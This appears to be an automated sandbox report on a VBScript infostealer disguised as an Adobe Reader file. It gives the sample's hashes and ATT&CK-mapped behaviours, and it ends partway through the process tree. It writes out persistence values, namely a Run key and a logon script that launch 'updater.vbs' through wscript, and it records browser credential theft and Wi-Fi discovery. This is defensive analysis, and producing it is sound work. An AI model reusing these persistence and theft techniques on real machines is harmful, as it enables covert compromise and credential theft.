5a390ca66c73f17d699da091a66a79bbeee977bf42860e2285ef48f394b42711

Analysis

max time kernel
299s
max time network
302s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 16:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Adobe/reader.vbs
Size 18KB
Sample260808-ttrhfshr7t
SHA256 5a390ca66c73f17d699da091a66a79bbeee977bf42860e2285ef48f394b42711
MD5 a85c232d565870bc13dc63ee7be7b929
SHA1 09b0744827b2e893c4f87ca6110c0e0c5c7b66f0
SHA512 788f4ee30f76efdb6e1d98366a5359d998a21cc65e31d5038849ff34208b99592c0152fad69c4c1e96ecaaf63779c6701a372247e35bf4ed607c2e24fe6dd847
SSDEEP 384:EJKJ8VwWTgK6o3n94u67GKm1rd5gPopstst/3b0KYie5x003Nv:f0Tgnk76xm1rd5gPopsts13b0KMNv
TLSH
T1F682F9313E05BE09D161C4D258EE56403C924E26DC674A37BE4CCAFCC62B6F992E5CDA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Process spawned unexpected child process 7 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5400	5920	powershell.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4448	5920	powershell.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3592	5920	powershell.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3516	5920	powershell.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5824	5920	powershell.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1348	5920	cmd.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5508	5920	powershell.exe	91

Badlisted process makes network request 14 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	4452	WScript.exe
6	3716	wscript.exe
24	3716	wscript.exe
60	4452	WScript.exe
61	4452	WScript.exe
62	4452	WScript.exe
68	4452	WScript.exe
71	4452	WScript.exe
72	4452	WScript.exe
73	4452	WScript.exe
95	4452	WScript.exe
97	4452	WScript.exe
99	4452	WScript.exe
100	4452	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4448	powershell.exe
3592	powershell.exe
3516	powershell.exe
5824	powershell.exe
5508	powershell.exe
5400	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DocRender.vbs	WScript.exe

Deletes itself 1 IoCs

pid	Process
4452	WScript.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Environment\UserInitMprLogonScript = "wscript //B \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DocRender\\updater.vbs\""	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\DocRender = "wscript //B \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DocRender\\updater.vbs\""	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4452	WScript.exe
3716	wscript.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_589444734\extraction.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_716909519\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_2047942228\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1157727852\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1480133931\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_716909519\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1873081657\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_716909519\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_589444734\travel-facilitated-booking-kayak.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_6056_1896683074\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_108_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_589444734\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_589444734\classification.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_716909519\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_1651529629\_locales\lt\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1348	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2168	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4524	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306797061725762"	msedge.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{951FC9C0-C33E-4C07-895E-18EB66E1AB56}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
5400	powershell.exe
5400	powershell.exe
5400	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
3592	powershell.exe
3592	powershell.exe
3592	powershell.exe
3516	powershell.exe
3516	powershell.exe
3516	powershell.exe
5824	powershell.exe
5824	powershell.exe
5824	powershell.exe
5508	powershell.exe
5508	powershell.exe
5508	powershell.exe
1648	msedge.exe
1648	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
6056	msedge.exe
6056	msedge.exe
6056	msedge.exe
6056	msedge.exe
6056	msedge.exe
6056	msedge.exe
6056	msedge.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	5400	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeDebugPrivilege	5824	powershell.exe
Token: SeDebugPrivilege	5508	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
6056	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4452 wrote to memory of 6056	4452	WScript.exe	88
PID 4452 wrote to memory of 3716	4452	WScript.exe	89
PID 6056 wrote to memory of 3228	6056	msedge.exe	90
PID 6056 wrote to memory of 4524	6056	msedge.exe	92
PID 6056 wrote to memory of 4824	6056	msedge.exe	94
PID 6056 wrote to memory of 4824	6056	msedge.exe	94
PID 6056 wrote to memory of 5924	6056	msedge.exe	93
PID 6056 wrote to memory of 5924	6056	msedge.exe	93
PID 6056 wrote to memory of 5924	6056	msedge.exe	93
PID 6056 wrote to memory of 1568	6056	msedge.exe	96
PID 6056 wrote to memory of 1568	6056	msedge.exe	96
PID 6056 wrote to memory of 1568	6056	msedge.exe	96
PID 6056 wrote to memory of 1172	6056	msedge.exe	97
PID 6056 wrote to memory of 1172	6056	msedge.exe	97
PID 6056 wrote to memory of 1172	6056	msedge.exe	97
PID 6056 wrote to memory of 1972	6056	msedge.exe	99
PID 6056 wrote to memory of 1972	6056	msedge.exe	99
PID 6056 wrote to memory of 1972	6056	msedge.exe	99
PID 6056 wrote to memory of 5440	6056	msedge.exe	100
PID 6056 wrote to memory of 5440	6056	msedge.exe	100
PID 6056 wrote to memory of 5440	6056	msedge.exe	100
PID 6056 wrote to memory of 2472	6056	msedge.exe	101
PID 6056 wrote to memory of 2472	6056	msedge.exe	101
PID 6056 wrote to memory of 2472	6056	msedge.exe	101
PID 6056 wrote to memory of 2416	6056	msedge.exe	102
PID 6056 wrote to memory of 2416	6056	msedge.exe	102
PID 6056 wrote to memory of 2416	6056	msedge.exe	102
PID 6056 wrote to memory of 924	6056	msedge.exe	105
PID 6056 wrote to memory of 924	6056	msedge.exe	105
PID 5400 wrote to memory of 2168	5400	powershell.exe	107
PID 6056 wrote to memory of 5016	6056	msedge.exe	108
PID 6056 wrote to memory of 5016	6056	msedge.exe	108
PID 6056 wrote to memory of 2752	6056	msedge.exe	109
PID 6056 wrote to memory of 2752	6056	msedge.exe	109
PID 6056 wrote to memory of 5976	6056	msedge.exe	111
PID 6056 wrote to memory of 3320	6056	msedge.exe	114
PID 6056 wrote to memory of 3320	6056	msedge.exe	114
PID 6056 wrote to memory of 1456	6056	msedge.exe	115
PID 6056 wrote to memory of 1456	6056	msedge.exe	115
PID 1348 wrote to memory of 2804	1348	cmd.exe	128
PID 6056 wrote to memory of 1096	6056	msedge.exe	132
PID 6056 wrote to memory of 1096	6056	msedge.exe	132
PID 6056 wrote to memory of 1860	6056	msedge.exe	133
PID 6056 wrote to memory of 1860	6056	msedge.exe	133
PID 6056 wrote to memory of 3004	6056	msedge.exe	134
PID 6056 wrote to memory of 3308	6056	msedge.exe	135
PID 6056 wrote to memory of 4332	6056	msedge.exe	136
PID 6056 wrote to memory of 5504	6056	msedge.exe	137
PID 6056 wrote to memory of 5504	6056	msedge.exe	137
PID 6056 wrote to memory of 5568	6056	msedge.exe	141
PID 6056 wrote to memory of 5568	6056	msedge.exe	141
PID 6056 wrote to memory of 4112	6056	msedge.exe	142
PID 6056 wrote to memory of 4112	6056	msedge.exe	142
PID 6056 wrote to memory of 4440	6056	msedge.exe	143
PID 6056 wrote to memory of 4440	6056	msedge.exe	143
PID 6056 wrote to memory of 1648	6056	msedge.exe	144
PID 6056 wrote to memory of 1944	6056	msedge.exe	145
PID 6056 wrote to memory of 1944	6056	msedge.exe	145
PID 6056 wrote to memory of 1152	6056	msedge.exe	146
PID 6056 wrote to memory of 1152	6056	msedge.exe	146
PID 6056 wrote to memory of 3924	6056	msedge.exe	147
PID 6056 wrote to memory of 3924	6056	msedge.exe	147
PID 6056 wrote to memory of 1656	6056	msedge.exe	148
PID 6056 wrote to memory of 1656	6056	msedge.exe	148

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Adobe\reader.vbs"
1⤵
- Badlisted process makes network request
- Creates a file in the Startup directory
- Deletes itself
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\TechVista_Proposal.pdf
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:6056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x350,0x7ff902dac188,0x7ff902dac194,0x7ff902dac1a0
    3⤵
    PID:3228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1836,i,15282600117839716771,4910598201997928142,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4524
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1588,i,6066038143757029590,5995357192831251934,262144 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:2
    3⤵
    PID:5924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2392,i,16964054446336008733,16817353307305780112,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=3012 /prefetch:13
    3⤵
    PID:4824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3636,i,15009864466526624074,14645716482347928737,2097152 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:1
    3⤵
    PID:1568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3632,i,10817487086601211433,5118365767256091374,2097152 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:1
    3⤵
    PID:1172
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4280,i,9524944745076651103,12560318401623160469,2097152 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:1
    3⤵
    PID:1972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4304,i,16226683295600865670,1513456999154342976,2097152 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:9
    3⤵
    PID:5440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3672,i,14450856639247719420,17016784274394780857,2097152 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:9
    3⤵
    PID:2472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5420,i,3636288473035207569,17848036209065406719,2097152 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:15
    3⤵
    PID:2416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5264,i,4016704924148648473,13865496205624376224,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:14
    3⤵
    PID:924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5604,i,9616692065704421512,6409280408446161716,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5904 /prefetch:14
    3⤵
    PID:5016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
